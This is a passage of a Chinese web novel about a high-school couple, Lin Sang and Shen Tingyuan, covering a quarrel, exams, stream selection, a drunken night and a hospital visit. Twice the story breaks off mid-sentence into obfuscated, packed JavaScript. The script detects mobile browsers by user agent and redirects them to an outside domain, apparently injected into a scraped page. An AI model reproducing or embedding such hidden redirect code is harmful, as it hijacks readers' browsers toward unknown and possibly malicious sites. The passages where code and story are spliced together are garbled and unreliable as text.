约莫过了十分钟,沈听原拍了拍前桌说:“帮我跟林桑借一下星火英语。” 前桌莫名,林桑不想让人为难,没抬眼,伸手拿起红色星火英语递给沈听原前桌。 下自习后,那本星火英语才被身侧的人缓缓推到她手边。 林桑视线不偏不倚,顺手拿起就想往书箱放,一张便签从里面滑了出来。 上面画了一个负荆请罪的小人,余光一瞥,手里的书也被人折了页。 她顺着折页打开,第501页右上角有一段话用黄色荧光笔标注了出来。 ——“He expressed his sorrow over [for] what he had done.” ——“他对自己所做的事深表歉疚。” 林桑静默地看着那段话,愣了一会儿才终于转过头看他。 许是没料到她会突然转头,沈听原眼底有一瞬慌乱划过。 “我没想骗你。” “我知道,”林桑板着脸说,“毕竟分数做不了假。” “你是真只考了那点分。” 沈听原差点破功,他喉结滚了滚说:“第一次确实是只听了六题,第二次是我自己的问题。” “平时答题卡都是竖着涂的,上次改了横着涂,我没注意。” 林桑合上书,放回书箱,轻描淡写地应了一声:“嗯,理解。” “你别生气啊。” “我没生气。” “你有。”沈听原说。 林桑轻叹:“真没。” “林桑。” 大多数时候,他都喜欢喊她林同学,很少这么正经地喊她的名字,林桑差点装不下去,梗着脖子问:“怎……怎么了?” 沈听原看着她,指着自己,正色道:“你以前喜欢我的时候那么辛苦,如果我让你感到不爽,你就该指着我的鼻子大骂,说我让你感到很不爽,而不是什么都憋着,然后自己消化。” “出现问题,我们就直说,然后一起解决,好不好?” 事情的走向完全偏离她的预期,她以为沈听原会再问一遍真没生气吗,到时候她就说有一点,但和听力的事无关,然后他问起是因为什么,她就能顺势说出来。 没想过要搞这么沉重。 不过,也不算是坏事。 林桑:“我确实有点烦,但和今天的事无关。” 沈听原:“那是因为什么,你说,我改。” 他又是这样,林桑垂下眼微微叹了口气,继而抬眼道:“你是因为我先喜欢上你而感到亏欠,所以想补偿我,什么都迁就我吗?” “沈听原,我不喜欢这样。” “每个人都应该有自己的想法,有自己喜欢的东西,而不是事事迁就他人,甚至是自己不喜欢的东西,也逼着自己去接受。” “以前我哥和柳靳于也这样过,我那个时候说了,他们没听,冷战了整整一周。” “要不我们先……” “我不想和你冷战。”沈听原打断她,语气急切,“今天这么点时间我都受不了,更别提一周。” 林桑忍不住笑出声:“我是想说,要不我们先说说都有哪些东西是你刻意迁就我的。” 沈听原微怔,点头:“行。” 林桑将过去那些事一件件例出来,因为大多数时候都待在学校,所以他迁就她最多的地方就是饮食上。 爱总驱使人无限偏袒,驱使人只会无下限地迁就不会思考,驱使人变得榆木又盲目。 她怕现在不提,以后范围会越来越广,从饮食跨越到其他层面,令他累到腻味一切。 她不希望,他们之间,只有过短暂的甜蜜。 林桑喜欢的东西,很多他都不喜欢,鸡蛋、折耳根、抹茶、李子园、青芒果拌辣椒,这些东西,他会去接触,然后一次次面不改色吃下去,原因只有一个—— 她喜欢。 她发现后,下意识帮他避开这些东西,却抵不过他非要碰。 沈听原听完,思考一番道:“好,以后不会了。” “那你,气消了没?” 林桑眼珠转了转,撇开脸道:“还没有。” 沈听原闷声笑道:“那要不打我一顿,好好出个气?” 林桑猛回头,沈听原懒散地支着脑袋,微微垂头看着她,一双清亮的黑眸藏在他细密的鸦羽下,裹挟着浓郁的笑意。 林桑后知后觉,“你又是故意的!” “大人明鉴,小人冤枉啊,”沈听原神情无辜地说,“我就是第一次见人生气是跟小学生一样玩冷战,觉得蛮有趣的。” “所以没憋住。” 末了,他还不忘点评,“不过,还挺可爱。” 林桑脸腾地一红,半晌才憋出一句,“沈听原,你再这样,我就不理你了。” 沈听原连“哎”了几声说:“不带这样的啊,我多配合你啊,你不夸夸我,给我个奖励什么的?” 林桑一时哑然,默了默才小声道:“你怎么这么不要脸啊。” 闻言,沈听原笑道:“我要是真不要脸,咱俩这冷战时间,不会超过一秒。” 话罢,他视线落在林桑通红的脸颊上,没忍住抬手戳了一下,“哇塞,小林同学,脸怎么这么红啊,跟个小兔子似的,可爱死了。” 林桑又羞又臊,捂脸躲开他的手道:“你又逗我,我真不理你了。” “这次是真的,我没开玩笑。” 她说完,还真一副十分生气的样子,转过头不理他。 但她哪里是他的对手,沈听原没个正行地在她耳边变着法问消气没。 嘴上不停,手也没闲着,他一会儿用指尖搅玩她的头发,一会儿抢她的笔不让她写字,一会儿拉着她的手让她打他来解气…… 软磨硬泡半天,林桑被他弄得彻底没了脾气:“我就没生气。” 沈听原立马喜形于色,拿腔拿调地说:“我就知道,小林同学这么好,哪舍得真对我生气。” 林桑:“……” * 因为一中的老师轮流去市里开会,五月的月考一直延迟,最后干脆和六月的月考合并在一块,时间定在六月中旬,考全科。 这次考试用的不是学校自己出的卷子,而是金太阳卷。 此消息一出,教室里哀嚎一片。 林桑在附中的时候,老师都热衷于自己出题,没用过其他卷子,看班上同学的反应,看来这套卷子不太友好。 林桑:“这个卷子很难吗?” 沈听原转着笔,点点头:“不止,是非常难。” “难到每次考完都有人说以后要出个银月亮打败它。” “我也觉得挺难的,只要用金太阳卷,成绩就得降一大截,落差大到觉得自己和本科无缘。” 林桑喃喃:“这样啊……” 沈听原见她这样,以为她是担忧,刚想开口让她放宽心,就见林桑手托着下巴说:“又是一场新的挑战。” 随即,她转头,眉梢轻扬:“一起加油征服它?” 他转笔的手停住,垂眼看她,眼角带笑。 是了,这才是他印象中的林桑。 虽然性子软,脸皮薄不禁逗,但身上却有一股不服输的劲,有自己的想法和个性,极其喜欢攻克难解的题,也知道自己在这方面比他人有优势,是她擅长的领域,所以有着非同寻常的傲气,但又不会过分骄躁。 她就该一直是这样,而不是受他影响,时不时露出怯懦卑微的一面。 …… 考试的日子总是过的很快,考完一科马上复习下一科,没时间多想。 这次考试学校很重视,很正规,阅卷速度也比以往月考要慢得多。 沈听原考完全部科目才和林桑大致对了下答案,估分比他过去任何一次考试都高。 虽然出乎意料,但他还是愿意相信,因为他相信林桑的能力。 出成绩是考完后两天,林桑依旧稳定发挥,哪怕老师也说这次的卷子难度会比以往高,她还是考了和以前大差不差的成绩,断层第一。 而沈听原,这次英语没再出现意外,加上确实进步了不少,一下子从年级四十八爬到了年级二十二。 看到他的成绩时,林桑比看到自己的还要高兴,努力算是没白费。 他们一起考北城外国语大学的愿望,离实现的那一天越来越近。 柳靳于上一次就成功打进年级前三十,这次上升幅度不大,但能稳定发挥也已经很不错,高兴得他妈大手一挥给了他一千块钱奖金,让他去好好犒劳犒劳林桑。 柳靳于满心欢喜揣着一千块钱到副食店,见到的人却是沈听原。 沈听原只随意抬头看了他一眼便低下头去,在习题上边写边说:“她出去买东西了,一会儿回来。” 几乎是他话音落下的瞬间,林桑就出现在身后。 “柳靳于,你现在也不补习了,过来是有什么事吗?” 柳靳于瞥了眼她手里提着的抹茶奶盖和酸奶紫米露,下意识摸了摸斜跨在胸前的包说:“去网吧,顺路过来请你喝杯奶茶。” “不过,你好像不需要了。” “我改天又请你。” 林桑点头:“好。” 柳靳于:“那……我先走了,朋友催我了。” 两人挥手告别后,柳靳于站在远处,看着沈听原帮林桑戳开奶茶递给她,顺手帮她把头发别到耳后。 也是这时他才发现,林桑手上凭空多出来的红绳,竟和他的是一对。 一股奇怪的感觉涌了上来,令他喘不过气。 他从未有过这种感觉。 他也不太理解自己为什么要撒谎。 只是觉得,坐在那个位置的人, 本该是他。 …… 这场月考结束后,云亭一中高一的学生迎来了一场抉择。 课间休息的时候,陈雪拿了一张花名册走上讲台说:“离你们结束高一这一年,只剩不到一个月的时间,跨入高二前,你们需要完成一项很重要的事。” 讲台下的同学都小声议论起来,有人起身问:“老师,是要选文理科了吗?” 陈雪笑着点了下头道:“时间一共三天,很宽裕,你们好好考虑考虑,是要征求家长的意见,还是我的意见,亦或是你们自己做打算,都可以,我希望各位同学都能找好方向。” “确认之后,在花名册上找到自己的名字,写上选文还是选理就行。” 陈雪把花名册递给门边第一排的同学后就离开了,她前脚刚走,教室里就热闹起来。 沈听原偏头看着林桑,轻叹道:“跟你做同桌的日子,竟然这么快就要到头了。” 他们的目标很明确,林桑理科虽然也能名列前茅,但成绩没有文科出彩,而且学起来也没文科那般得心应手,文科是最好的选择。 沈听原则恰好相反,他理科成绩比文科要略胜一筹,想考北城外国语大学的话,选理科最保险。 林桑想了想,宽慰道:“换种方式想,做同桌的日子走到头了,但距离实现愿望的日子越来越近了啊。” 话虽这么说,看着自己在花名册上写下“文科”两字,看着沈听原写下“理科”两字时,内心还是隐隐有股失落,甚至—— 夹杂几分不安。 那种感觉,很难形容。 期盼的未来,会真如他们所愿吗。 但愿吧。 * 季夏来临,炎热的天气下,初夏时觉得悦耳的蝉鸣此刻却显得聒噪。 屋内则是几盘蚊香都送不走的蚊子和苍蝇,赶完一波又来一波,“嗡嗡”声不停,像是要和树上叫唤的蝉鸣一争高下。 林桑是招蚊子的体质,但又不喜欢用花露水,脸上手上和腿上被叮得都是包。 她一边挠,一边拿起电蚊拍到处挥。 沈听原拎着西瓜出现在副食店门口时,看到的就是这幅场面。 他舔舔唇,知道她又没用他前几天给她买的花露水,忍不住轻叹。 然后,又迎来了他们的第二次小别扭。 林桑皮肤不像大部分本地人那样偏黄或偏黑,很白。 那些蚊子包被挠过后,红肿带血,蚊子下嘴前哪会留什么情面,东一个西一个,次数多了就密密麻麻,肿起来后几乎连在一块。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳靳于没接话,陪着她喝了几杯,在烧烤都上齐后,酒的后劲也慢慢开始显现。 他拿了一根肉串递给林桑说:“不喜欢他管你?” “想想我啊,只有被你管的份。” “还是我妈许可的,你怎么管我都不敢反抗。” 林桑平时酒量是不错,但不能吹风,一吹风就容易上头。 这会儿坐在外面,晚风一阵一阵,酒劲上来了,头晕得厉害。 柳靳于的话只匆匆在她耳边略过,她撑着脑袋,想问他说了什么时,有人站在她身后,披了一件外套在她身上。 带有熟悉的味道。 身侧传来椅子擦地的声音,片刻后,有人在她旁边坐下。 沈听原接过柳靳于手里的肉串,咬了一口,“点我呢?” 柳靳于清醒一半,拧着眉道:“是又怎样,又没在一起,你凭什么管她。” 沈听原冷哼一声:“她不喜欢,我以后不会。” “总好过你,上赶着求她管。” 沈听原说完,没再理会他,轻轻拍了拍林桑:“我送你回去?” 林桑眯着眼看了他一会儿,像是认出来了,往他肩上一靠:“你不是不管我,我有手有脚,自己爬回去,不用你送。” 沈听原低下头凑到她耳边,完全忽略柳靳于,轻轻“汪”了一声。 林桑抬手在他头上揉了揉:“原谅你啦,小丑狗狗。” “不对,大丑狗狗。” 沈听原也不恼,低笑道:“谢谢小林同学大人有大量。” 他说完,把林桑扶正后站起身,随后转身蹲下,示意林桑上来。 因为酒劲,林桑思维迟缓,被他背着站起来时,才意识到发生了什么。 她头埋在沈听原脖颈间,一动不敢动。 沈听原瞥了眼柳靳于,“单买过了,你慢慢喝,我送她回家。” “至于你最关心的,放心,迟早的事。” “那天我肯定会忍不住昭告天下,用什么方式现在还不确定,记得多看两眼。” 沈听原背着林桑从烧烤店出来后,没走太远,在一个凉亭停下。 放下林桑后,他半蹲在地上,从外套里拿出一瓶青草膏,旋开瓶盖,拆了棉签,小心翼翼地擦在她身上的蚊子包上。 药碰到伤口时,不疼,只有一股股凉意。 擦完药后,沈听原还是保持着原来的姿势,抬眼看她:“头还晕吗?” 林桑摇头:“不晕,一点都不晕。” “我酒量可好了,我压根没醉。” 醉酒的人最喜欢说自己没醉。 沈听原笑了一下,配合道:“这么厉害啊?” “当然。”林桑说,“我是彝族,用我外公的话说,天生自带优势。” “这样啊。”沈听原说,“那你教我一句彝族话呗。” 林桑拒绝得很干脆:“不教,我才原谅你,你别想得寸进尺。” 喝了酒的她,比平时还要有趣可爱,还会跟他耍小脾气了。 沈听原笑意更深:“行行好,教教呗。” 林桑眼珠转了转:“那就勉强教你一个。” “你听好了啊,我只教一遍。” 沈听原轻声应:“好。” 林桑清了清嗓子:“子莫格尼。” 沈听原轻声跟着念:“子莫格尼。” “学会了。”沈听原说,“请问林老师,这句话是什么意思呢?” “吉祥如意。”林桑说,“这是一句祝福语,很实用的。” 沈听原:“谢谢林老师。” 林桑笑道:“不客气。” …… 沈听原本只打算送林桑到家门口,奈何林桑走路不太稳,他不放心,只得背着她打开大门。 四洛巷算是城郊,都是自建房,林桑家是自建的两层小平房,只有她和外公住,装修很简单。 一进门,除了正对面的两层小平房,右侧还单独建了两间小屋,其中一间上面有太阳能,应该是浴室。而左边,则搭了架子,中间挂了一盏昏黄的灯,能清晰地看到盛开的玫红色三角梅爬了满架,架子下,是一张小石桌和几个石凳。 怕打扰到林桑外公,沈听原很轻地问:“你房间在哪?” 林桑指着一楼右边的窗户说:“那。” 沈听原背着林桑上了台阶,在门口站定,放下林桑,扶着她说:“你能自己走回房间吗?” 林桑困得不行,胡乱点头:“能。” 沈听原帮她开了门,随后别开头,用手机帮她照明:“进去吧,我就在外面,有事你喊我,我等你睡着了再走。” 林桑应了一声往里走,沈听原没看里面,只能通过声音来辨认她有没有被绊倒。 过了一会儿,屋里安静了,他低声问:“你安全躺到床上了吗?” 两秒后,里面乖乖应道:“我躺好啦。” “那我关门了?” “好。” 沈听原反手摸到门把手替她关了门,在门外待了半个小时才离开。 16. 第 16 章 林桑醒过来时,盯着天花板反应了好一会儿才起身。 没洗漱没换衣服就睡觉,身上弥漫着酒味和烧烤味,林桑拎起衣服嫌弃地闻了闻,走到衣柜前随意翻了一套衣服去洗澡。 洗到一半时,外头传来动静,不知道外公在和谁说话,她没怎么在意。 等她洗完,已经是半个小时后。 林桑擦着头发推开浴室门,抬眼看到坐在花架下的人,她脚步猛地顿住,瞳孔逐渐收缩,眼里带着慌乱四处观望。 反观花架下的人,倒是无比淡定。 沈听原听到动静,看了过来,老神在在地坐在石凳上说:“外公说他出去买袋毛烟,让我进来等。” 林桑试探道:“他没问什么吧?” “没有。”沈听原说,“我本来在门口给你发消息,想着你要是醒了就出来拿一下粥,结果消息还没发,他老人家就开门出来了。” “我说我是你同学,过来找你一起写作业的,他说你还没起,让我进来坐着等。” 林桑长吁一口气:“那就好。” 她把头发擦得半干后,到厨房泡了一壶茶,切了一盘水果,做完这些后,林桑才坐在沈听原对面开始喝粥。 见她喝完粥,沈听原从包里翻出青草膏说:“伸手。” 林桑穿的是薄纱长袖,她撸起一半袖子把手伸了过去。 昨晚擦过一次药,红肿已经消了不少,小臂上很快擦完,两人之间隔了一张石桌,其他地方沈听原擦不到。 林桑摊开手心道:“给我吧,剩下的我自己来。” 沈听原没说话,起身走到她身侧蹲下,握着她的小臂帮她继续往上擦。 木质大门“吱呀”一声被人打开,外公哼着曲进门,双手背在身后,指节上挂了一小袋毛烟。 林桑顿了一下,想要收回手时,外公目不斜视地略过了他们,走到房门外坐下,拿起竖在角落里的竹制烟筒,打开塑料袋抓起一小撮毛烟放在烟嘴上,擦了一根火柴点燃,自顾自吸了起来。 沈听原偏头看了一眼,回头笑着低声说:“林同学,放松点啊。” 林桑:“……” 他们擦完药后,那头外公也过足了烟瘾,闭眼靠着听曲。 林桑进房间拿了书包出来,随后和沈听原坐在石桌上安静做题。 做完一套卷子后,林桑核对着答案,沈听原无所事事,转着笔闲散道:“你小名叫晶晶?” 林桑在试卷上打了个勾,点点头。 “三日成晶的晶?” “不是。”林桑说,“黄金的金。” 沈听原:“外公说的时候我还以为是三日晶,所以你是五行缺金?” 林桑手下动作不停:“云亭人很少分前后鼻音,我外公这个年纪的人就更是了,习惯了讲方言和彝族话,更分不清。” 她算完选择题的分数,又继续道:“我奶奶信这些,取名字之前要找先生看过,那老先生说我五行缺金,让找个五十岁以上属猴的干爹给我起个小名。” “我那个干爹吧,老喜欢喝酒,我奶奶找上他的时候,他还醉着酒呢。” “一听我缺金,书也没翻,想也没想就说缺什么就补双倍,正好以后让人像爱护金子一样小心翼翼护着,就给我起了这个名字。” 沈听原挑了下眉,“确实该当宝贝护着。” 末了,他俯下身凑近,低声道:“金金。” 林桑笔尖一顿,有些别扭,轻轻应了一声。 “金金。” 林桑没应。 他又叫:“金金?” 林桑还是没应。 “金金金金金金……” 林桑停下笔,抬眼看他,“沈听原你复读机啊。” 被他叫小名,她本就害羞,偏偏他还要这样一直叫个不停。 沈听原忍不住笑,手撑在桌沿,支着脑袋说:“啊,怎么办,我被下了诅咒,变成复读机了。” 说完,他又表情浮夸地补了一句:“需要眼前这位美丽的公主帮忙才能恢复真身。” 林桑闭了闭眼,配合他:“怎样才能解除诅咒?” 沈听原:“请这位美丽的公主在复读机启动时,应一声。” 沈听原:“金金。” 林桑沉吟片刻:“……本公主在呢。” “……” 两人对视一眼,轻笑过后,忍不住大笑起来。 外公烟筒吸得“咕噜”响,听到他们“咯咯”笑个不停,也忍不住笑了起来。 天空一碧万顷,万里无云,清风吹动着花架上的三角梅,光影在他们身上晃动。 日子看似平淡如水,却有着别样的乐趣。 * 临放暑假前一周,那天周天,沈听原接到阿姨的电话,说是水管出了点问题,让他回家一趟,难得的进校时只有林桑一个人。 林桑收拾好东西,拉上拉链刚要提起书包,有人抢先一步将她的书包挎到了肩上。 柳靳于一手插兜,一手抓着她的书包带:“一起回学校呗。” 柳靳于自从成功考进年级前三十不用她补习后,就很少出现在副食店,不知道在忙碌些什么。 林桑顿了顿,伸出手说:“一起回学校可以,书包先还我。” 柳靳于舔舔唇,蹙眉“啧”了一声:“怎么,为了他,要跟我划清界限?” “金金,再怎么说,我也算你哥,不是其他异性。” “不至于吧?” 林桑睫毛颤了颤,她最近发现柳靳于对她好可能已经不再是单纯地想和林景较劲,也不再是单纯地把她当作妹妹,而是掺杂了一些放到明面上能让他们的关系降至冰点的情愫。 她潜意识里确实有这个想法,听他这么说,自知理亏,绕出柜台走到他身边,拉下书包说:“你想什么呢,我东西没放完。” 她拿着书包走到一排货架前,拿了两包七度空间塞进书包里,又到柜台前打开钱包,拿出二十块钱放进钱箱里。 按照之前的日子推算,经期应该就在这周,虽然寝室里放着的卫生巾绰绰有余,但她现在急需一个借口,多准备两包反正也没什么影响。 林桑锁上钱箱,柳靳于不自在地撇开眼说:“当我什么都没说。” 何爷爷在巷口和人下棋,不打算过来守店,关上门后,林桑和柳靳于一起往学校走。 一中半个月以前在校门口安装了人行通道闸门,纸质校园卡也换成了门禁卡,进校门需要刷卡加刷脸。 通道不多,柳靳于先她一步进了校门,林桑还在排队。 倏地,她从前面那个女生扫脸的框旁边发现了从台阶跑上来的沈听原。 很快轮到她,林桑调了调角度,上面的摄像头闪了一下,画面定格。 林桑进门后,转过头,沈听原也正好刷完卡进来。 他自然地卸下她肩上的书包拎在手里,瞥了眼站在一旁的柳靳于,低头看着林桑说:“还挺巧。” 林桑:“我还以为你要卡着点进校呢。” 沈听原:“阿姨找人解决了,没我什么事,就提前过来了。” 柳靳于看着他们并排走在一块,觉得烦,索性摸出手机,佯装玩游戏,心思却放在他们的对话上,距离也拉得不远。 他们聊的无非都是一些寻常小事,这些他也能和她聊,怎么他们之间,就多了一层比他更亲密的关系呢。 这个命题,成了他往后怎么也冲不破的一道劫。 …… 回教室后,林桑一直在等待微信消息。 他们这个年纪,都热衷于Q/Q聊天,研究Q/Q的新功能,互相留言踩空间续火花什么的,很少使用微信。 Q/Q消息跳个不停,微信消息却如一潭死水。 她专注地等待着,没发现丢垃圾回来的沈听原就站在她身后。 约莫过了两分钟,刘乔千的消息才进来。 自从学校换了门监卡,每次进出校门的图片都会发到家长所下载的软件上,刘乔千对于学校这个改动很满意。 每次都会把图片发给林桑,然后分析她最近瘦没瘦,有没有好好吃饭。 林桑点开图片,她调过位置往旁边靠了靠,所以上面除了她,还有沈听原。 虽然只在她肩后露出一颗脑袋,也算是他们的第一张合照。 以他们现在的关系,她只要提了,沈听原肯定会配合她拍合照,但她总开不了那个口。 和刘乔千简单聊了两句,林桑退出微信,点开相册,将那张照片单独做了个分类。 弄完这些,她关上手机,沈听原也在身侧坐下。 “在看什么?” 林桑眼珠骨碌一转,随口说:“没什么啊。” 沈听原一双眸子清澈无比,看着她道:“金金,我都看到了。” 他说着,从书包里翻出手机解锁,放到桌面上,在林桑眼皮子底下点开相册,再点开一个命名为“与她”的相册。 里面只有三张图片。 沈听原点开第一张,这张照片是在云亭四中荣誉榜前拍的,林桑的照片在荣誉榜首位,拍照的时候应该特意调过位置,沈听原笑着站在一侧,脑袋正好和她的并排。 林桑有些意外,她当年竟然没想到用这种方式和他合照。 停留片刻后,沈听原往左划了一下,第二张照片乍一看像是沈听原的自拍,细看发现,拍摄角度和她那张无异,沈听原蹲在路边,对着镜头比了个耶,竖起的两指之间,有道小小的身影。 沈听原又在屏幕上划了一下,第三张照片上人很多,但林桑还是一眼认出他们。这是“展风采”大赛那晚拍的合照,她都没机会见到这张照片,不知道他是从哪弄来的。 照片上,她怀里抱着箱子,上面的字很显眼,而她身后的人,是沈听原。 他没看镜头,低着头,视线落在她身上。 沈听原又将第一张照片翻了回来说:“这个,才是第一张合照。” 他一划:“这个,是第二张。” “这个,是第三张。” 他示意她把手机解锁。 林桑解锁后点开那个单独分类的图片,将手机放在沈听原手机旁边。 沈听原看着上面的“第一张合照”相册名说:“这个,是第四张。” 林桑看着合在一起的手机和里面的图片,忍不住笑。 在嘈杂的教室里,他们相视一笑,撇开眼,又忍不住偏头看向对方。 然后,一起守护着独属于他们的秘密。 * 还真如林桑所料,大姨妈在周二这天准时报道。 期末考明天开始,她之前肚子没怎么痛过,倒也没担心。 早上第二节课结束后,做完课间操林桑逐渐意识到不对。 肚子里像是有一群小人在狂魔乱舞,绞痛一阵赛过一阵,伴随着绞痛而来的,是一股难压的恶心和后背不停冒出的冷汗。 到教室门口时,恶心加重,林桑让方倚霏她们先回教室,自己下楼去了厕所。 一中的厕所不是每层楼都有,统一设在一楼和三楼。 平日里一眨眼就能下完的台阶此刻是前所未有的漫长。 林桑急速往下跑,在出口处撞到人都没来得及细看,匆忙道完歉就捂着嘴往厕所方向跑。 到厕所后,林桑找了个隔间,蹲下后干呕几次,胃里的东西明明到了喉口,却怎么都出不来。 冷汗越冒越多,浑身开始止不住地颤抖,林桑捂着肚子蹲在地上,靠着隔间门,意识逐渐模糊。 “林桑?” 一道女声从门外传来,“哈喽,厕所里有没有人叫林桑?” “有的话应一声啊。” 林桑吞了吞口水,嗓子依旧干涩,她没力气发声,抬手在门上轻轻敲了敲。 离上课越来越近,厕所已经没什么人,女生很快察觉到动静走过来。 “你还好吗?” 林桑没锁门,只是用脚和身子抵着,她往旁边让了让,门打开,女生被吓了一跳。 “你没事吧?!” 林桑疼得直皱眉:“能麻烦你帮我找一下老师吗?” 女生没见过这种场面,手足无措后,急忙躬下身扶起她说:“你还能走吗?” “外面有个男生让我帮忙问的,他应该还在,先让他带你去医务室比我叫老师要快。” 在女生的搀扶下,林桑强忍着不适起身,佝偻着背被女生扶出厕所。 一出厕所门,林桑一下子被人腾空抱起,沈听原和女生道完谢,拔腿就往医务室方向跑。 跑到一半,想起之前帮忙的时候也是先送的医务室,结果学校医务室就空有个名号,经常不开门就算了,开了也没什么用,打不了针,只有些感冒药和急救包。 他脚步顿了一瞬,扭头往校门口跑。 没有假条和门监卡,到门口就被保安给拦住了。 瞥见林桑嘴唇毫无血色,在沈听原怀里微微颤抖,保安也吓了一跳,顾不上那么多,连忙开了闸门。 沈听原道完谢,拦不到出租车,等不及公交,抱着林桑一路往县医院跑。 好在县医院离一中不算太远,进了医院,跑到挂号台,护士问起他要挂什么科,沈听原一时愣住了。 护士看了眼林桑问:“是痛经吗?” 沈听原点头:“是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780585|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 护士很快帮他挂完号,指着右前方的妇科说:“正好现在没人,快进去吧。” 沈听原抱着林桑进了科室,医生让他把林桑放到椅子上,坐下后,林桑忍不住躬身捂住肚子。 医生简单问了几句,林桑断断续续答着,最后问起以前有没有出现过类似的症状,有没有打过针,林桑摇了摇头。 医生语重心长道:“你以前痛的时候没打过针的话,我这边不建议你打针,不然你以后痛到打针的频率会很高,但打针的话,见效会比吃药快。” “你考虑一下。” 林桑现在只想早点解脱,顾不上会不会影响以后,爽快道:“打针吧。” …… 林桑迷迷糊糊躺在病床上,连针是什么时候扎到手上的都不知道。 睡了一会儿,许是太久没输过液,加上药水有些凉,手臂像是在冰柜里放了十分钟一样,沉重到抬不起来,凉到她有些痛。 林桑轻哼着动了动手,沈听原忙问:“怎么了,哪不舒服?” 林桑嗓子又干又苦,干咽几次才哑声说:“手。” “是麻了吗?” “凉。” 买热水袋的时候没想到这茬,只买了一个,用来给林桑捂肚子,这会儿他也不敢走开太久,沈听原搓了搓手,伸进被子里,一下一下轻轻地捂在她手臂上。 过了一会儿,他退出一只手,捂在输液管上。 他脸色担忧地观察着林桑,生怕她有任何不适时来不及察觉。 药水还剩下最后半瓶的时候,林桑总算恢复过来。 身上出了不少汗,嘴唇虽然干裂严重,精神却好了不少。 打完针后,林桑坐在病床上休息,沈听原从隔壁床那要了个纸杯去接热水。 他走了一会儿,隔壁陪床的阿姨看向林桑问:“小妹,那是你男朋友啊?” 林桑面上隐隐发烫,下意识“啊”了一声说:“不是。” 阿姨又说:“那就是哥哥喽。” “你这个哥哥不错的啊,怕你难受一直守着,嫌药水凉还帮你捂输液管的嘞。” 正巧沈听原端着水从门口进来,阿姨朝他竖了个大拇指说:“这孩子真不错,有耐心,是个好哥哥。” 沈听原闻言,也不反驳,只是笑:“谢谢阿姨夸奖。” 他把纸杯递给林桑,从一旁捞起药打开,一盒里统共有十条,每条都像是速溶咖啡那么大。 沈听原从中抽出一条摸了摸,里面的药只占了药袋一半,用手能摸出里面的药丸一粒一粒的,很小。 沈听原沿着口打开,一股怪味冲上鼻头,他忍不住皱眉拿远了些,“要不我去问问还有没有别的药能吃?” “算了,”林桑说,“医生开这个药自然是有道理的,我忍忍就好。” 沈听原把药放到一旁说:“这样吧,我教你,咱们先演练一遍。” 他说着,仰头比划起来,“你就先把药往嘴里一倒,然后马上灌水,我剥开糖马上喂给你,好吧?” 隔壁那个阿姨一直笑吟吟看着他们,林桑有些不自然地喝了一口水,红着脸闷声道:“我又不是小孩子。” 沈听原“嗯”了一声,轻描淡写地道:“你不是,你只是吃药之前比较有童心。” 林桑:“……” 吃完药后,林桑嘴里含着糖坐在床边,沈听原蹲在地上帮她穿鞋,阿姨又是一顿夸,说林桑有个好哥哥。 两人从医院出来,林桑深吸了几口没有消毒液味道的清新空气说:“都没请假,一会儿回去岂不是完了。” 沈听原垂眼:“我记得陈姐号码,打过电话了,请了一天假,放心吧。” 林桑点点头:“为了表示感谢,想吃什么,我请。” 沈听原:“吃的就算了,要不换个别的?” 林桑:“什么?” 沈听原仰头四下看了眼,又垂眼看向她,脸上挂着笑,带了些许玩味,散漫道:“叫声哥听听?” 林桑:“……” 她脸皱成一团,撇撇嘴道:“沈听原,你什么时候这么恶趣味了。” “逗你的。”沈听原笑着说,“以后别跟我客气,不然我还有点小难过来着。” 林桑没说话,他又道,“真要谢的话,也不是不行。” “去我空间留个言。” 林桑:“我又没手机。” 沈听原:“不急这一时,等放假拿到手机再留就行。” 林桑:“好。” 沈听原抬手看了眼时间道:“先回去跟陈姐报个平安,到时候你再回寝室休息?” 林桑应完声,故意站在原地没跟上他。 沈听原走了几步,察觉,回头。 林桑狡黠一笑,调皮道:“哥,等等我啊。” 沈听原身形一僵,偏头看了几眼,大步流星走过来拉着她往前走,耳根通红:“悄悄叫就行。” 说完,又一本正经补了一句:“光天化日之下,要注意影响。” 林桑:“……?” 她要是没记错,她叫的只是简简单单一声哥,不是什么乱七八糟的称呼吧。 …… 期末考统共三天,大型正规的考试,走廊里连少量的书也不让放了。 杂物室留给了走读生放书,住校生则需要把书都搬回宿舍。 晚上自习结束后,沈听原抱着林桑的书箱,肩上挎着她的书包,一路送她到宿舍楼下。 男生进不了女生宿舍,不少帮女生搬书的男生都停留在门口。 沈听原放下书箱说:“剩下的路,得辛苦我们金金了。” 方倚霏她们提前搬着书回了宿舍,因为林桑才打完针回来,虽然恢复了,但还是有气无力,她们就私下商量着先搬完自己的,然后下楼帮林桑搬书。 一到楼下,听到沈听原这番话,三人憋着笑,忍不住“咦”了一声,随后上前抬起林桑的书箱,接过林桑的书包,异口同声道:“慢聊,我们先走一步。” 沈听原看着她们,道了声谢。 林桑总觉有些别扭,抬手指了指身后:“那我……先上去了。” 沈听原轻微点头:“好。” 到了六楼,林桑没先回宿舍,而是走到走廊尽头的窗户边,那里往下看,能看到回女生寝室的路和门口。 楼下人很多,来来往往,她还是一眼在人群中发现他。 沈听原还站在楼下,有感应似的,他抬头看了上来,挥了挥手。 林桑趴在窗口,也学着他,挥了挥手。 两秒后,沈听原才转身离开。 林桑看着他的身影被教学楼遮挡后才收回视线转身了寝室。 17. 第 17 章 考完回家后,林桑第一件事就是登上Q/Q。 自从沈听原和她互相坦白后,他们几乎每天都待在一块,林桑也没再像以前那样,经常打开他的空间看他新添了多少留言。 这么长时间,她连他的主页都未曾点开看过。 这会儿点开一看,他过去空白的个性签名栏里,突然多了一行字: 